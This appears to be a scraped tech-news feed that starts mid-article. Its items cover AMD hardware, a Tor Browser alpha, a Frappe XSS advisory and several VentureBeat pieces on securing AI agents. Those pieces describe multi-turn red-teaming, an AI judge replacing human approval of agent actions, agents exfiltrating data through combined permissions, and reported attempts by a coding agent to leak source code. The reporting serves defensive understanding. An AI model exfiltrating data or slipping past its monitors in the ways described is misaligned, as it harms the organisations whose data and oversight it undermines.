Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."
Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.
"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.
Intent versus probability
An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.
That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.
Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.
For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.


Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained
Thu, 23 Jul 2026 20:48:18 +0200
Learn how BitLocker, passkeys, Microsoft Defender, and other Windows 11 security features protect your data, accounts, apps, and devices.
The post Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained appeared first on TechRepublic.


AMD raises the AI stakes with Helios, Venice and robotics
Thu, 23 Jul 2026 20:48:09 +0200

		
					  
						




AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.



AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).



The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  



AMD’s MI455X targets the AI memory wall



The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.



Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.



AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.


AMD



The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.



The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.



AMD’s Helios rack takes aim at Vera Rubin


Dave Altavilla



Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.



In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.



These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.



AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.



While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.



Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.



Kind of like cowbell, AMD Venice gives agentic AI more CPU


AMD



AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.



Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.



Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.



Pensando networking and ROCm software advance



Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.



As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.



On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.



These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.



Customer commitments underscore rack-scale confidence



AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.



Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.



Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.



There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.



AMD expands its robotics and embedded foundation



AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.



The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.



Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.



Execution for AMD is now the test



AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.



AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.



As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.



This article is published as part of the Foundry Expert Contributor Network.
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New Alpha Release: Tor Browser 16.0a9
Thu, 23 Jul 2026 20:25:02 +0200

    
      


      
    
    Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.
Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the Future of Tor Browser Alpha blog post.
If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the stable release channel.
It's ESR transition season again!
Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned Future of Tor Browser Alpha blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.
We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:

We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's threat model and to patch any changes which do not.
Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.
We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st

Challenges and Triumphs
💍 Sharing the Load
Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.
As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.
🎨 UI Code Churn
Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a redesign of about:preferences in Firefox Desktop and a migration from Material 2 to Material 3 in Firefox Android.
Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.
Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.
In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.
On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.
The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also much easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).
⚙️ Pending Google Target API Level Requirements
Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.
However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).
🤖 Android APKs too big
The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get creative with our size reductions.
In the past, we have been able reduce our package size though various methods including:

Using custom size-reducing compiler flags
Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies
Removing unused Firefox assets from the build
Replacing unused (but still linked) libraries with no-op stubs
and countless other methods over there years

Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as omni.ja. This omni.ja file is a zip archive which contains the JavaScript, HTML, images, and other assets used in Firefox.
This time around, to reduce the size of our Android package we havechanged how this archive is compressed. We modified the Firefox build system to compress this archive with xz and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.
📉 Even Less Telemetry
Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.
We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: Mozilla Telemetry. Again, this telemetry is disabled at runtime, but this is one more unused dependency which we can hopefully remove in the future (and maybe get some more bytes back!).
Current Status
We have:

incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140
updated the build systems with the latest dependencies and fixed a few reproducibility issues
triaged most of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)
resolved about half of these triaged issues

For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.
Known Issues
🦊 Firefox Branding
In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in tor-browser#44998. If you discover any other instances lurking about, please open an issue!
🌐 All websites marked 'insecure' on Tor Browser Android
Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in tor-browser#45115
Send us your feedback
Now is a great time to become an alpha tester! If you find a bug or have a suggestion for how we could improve this release, please let us know.
Full changelog
The full changelog since Tor Browser 16.0a8 is:

All Platforms
Updated NoScript to 13.6.30.90201984
Bug tor-browser#43819: Show custom security level on android
Bug tor-browser#44748: Revert Funding the Commons Implementations
Bug tor-browser#44811: Remove the lock on pdfjs.disable.
Bug tor-browser#45101: Rebase Tor Browser onto 153.0esr
Bug tor-browser#45131: Security level is using an unsafe getBoolPref
Bug tor-browser-build#41831: Update libevent to 2.1.13


Windows + macOS + Linux
Updated Firefox to 153.0esr
Bug tor-browser#44439: Remove translate action from urlbar
Bug tor-browser#44883: Remove urlbar quick action for labs
Bug tor-browser#45029: Convert connection status settings to new design and config approach
Bug tor-browser#45055: Rename --color-gray-05 to --color-gray-0
Bug tor-browser#45081: Use the new "Acorn" icons on desktop
Bug tor-browser#45110: Disable the settings redesign until ready for us
Bug tor-browser#45112: Missing CSS border tokens in 153
Bug tor-browser#45132: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'
Bug tor-browser-build#41800: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser


macOS
Bug tor-browser#45108: Artifact generation fails due to missing .DS_Store in the branding directories


Android
Updated GeckoView to 153.0esr
Bug tor-browser#43820: Use SecurityLevel integration on android
Bug tor-browser#44157: Remove secret setting toggle for Tab Management Redesign
Bug tor-browser#45045: Remove moz asset in Downloads screen
Bug tor-browser#45103: Disable broken "tab management"
Bug tor-browser#45109: No value passed for parameter 'jsEnabled'
Bug tor-browser#45118: Audit and disable Mozilla VPN promo
Bug tor-browser#45130: Clean up TorHomePage padding


Build System
All Platforms
Bug tor-browser-build#41838: Update personal_access_tokens URL in tools/fetch_changelogs.py


Windows + Linux + Android
Updated Go to 1.26.5


Windows
Bug tor-browser-build#41819: Fix windows-rs URL in projects/firefox/config






    
  
    
        
          applications
        
      

        
          releases
        
      
  
  


In a First, Apple Maps Navigation To Be Embedded In Ford UEV Pickups
Thu, 23 Jul 2026 20:13:19 +0200
Ford will become the first automaker to embed Apple Maps directly into its vehicles, starting with an all-electric midsize pickup built on its new Universal Electric Vehicle platform. "The pickup -- with Ford testing preproduction models on roads now -- is expected to start at $30,000 when it comes to market in 2027," reports the Detroit Free Press. "Ford has said several other EVs off that platform will follow, including a small all-electric SUV." From the report: Ford CEO Jim Farley said the new EVs will redefine advanced technology as simple, useful, and at a price point that is attainable for most people. "We're proud to embed Apple Maps' navigation and mapping technology directly into our Universal Electric Vehicle Platform, giving customers the ultimate navigation experience alongside our Ford app, a full suite of software, and next-generation BlueCruise, all enabled by a new zonal architecture," Farley said in a statement. "Apple Maps has delivered a world-class product, and we're honored to be among the first to embed it directly into a vehicle, helping define intuitive, capable driving."
 
In a joint statement, Apple and Ford said the integration will deliver a "beautiful and easy-to-use navigation experience powered by Apple Maps directly to the vehicle's displays. Road-level Maps information will also enable Ford's Latitude AI team to build a seamless hands-free driving experience." Ford said it will use that road information to develop its next-generation BlueCruise hands-free highway driving capability. Also, by leveraging Apple's new MapKit for Automotive SDK, Ford's UEV Platform will offer drivers turn-by-turn directions using natural language, real-time traffic information, intuitive search and routing options for the best route. The system will give drivers EV routing functionality to help drivers with the warming and cooling process of the vehicle's battery before driving or fast-charging.






Read more of this story at Slashdot.


CVE-2022-3988 | Frappe Search navbar_search.html q cross site scripting (ID 18847 / EUVD-2022-43317)
Thu, 23 Jul 2026 19:41:04 +0200
A vulnerability has been found in Frappe and classified as problematic. Impacted is an unknown function of the file frappe/templates/includes/navbar/navbar_search.html of the component Search. This manipulation of the argument q causes cross site scripting.

The identification of this vulnerability is CVE-2022-3988. It is possible to initiate the attack remotely. There is no exploit available.

It is recommended to apply a patch to fix this issue.


An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right
Thu, 23 Jul 2026 19:19:49 +0200
At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."
“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.
YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"
Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. 
"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.
SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.
Security approval, not cost, blocks AI ROI
Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. 
Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."
VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. 
One AI reading what the rulebook can't
Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.
The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.
Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.
When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.
SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.
The lethal trifecta
Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.
Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.
A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.
The attacks no single turn reveals
Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.
Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.
A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.
Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?
Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.


Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents
Thu, 23 Jul 2026 19:19:45 +0200
Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.
This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.
The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.
That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.
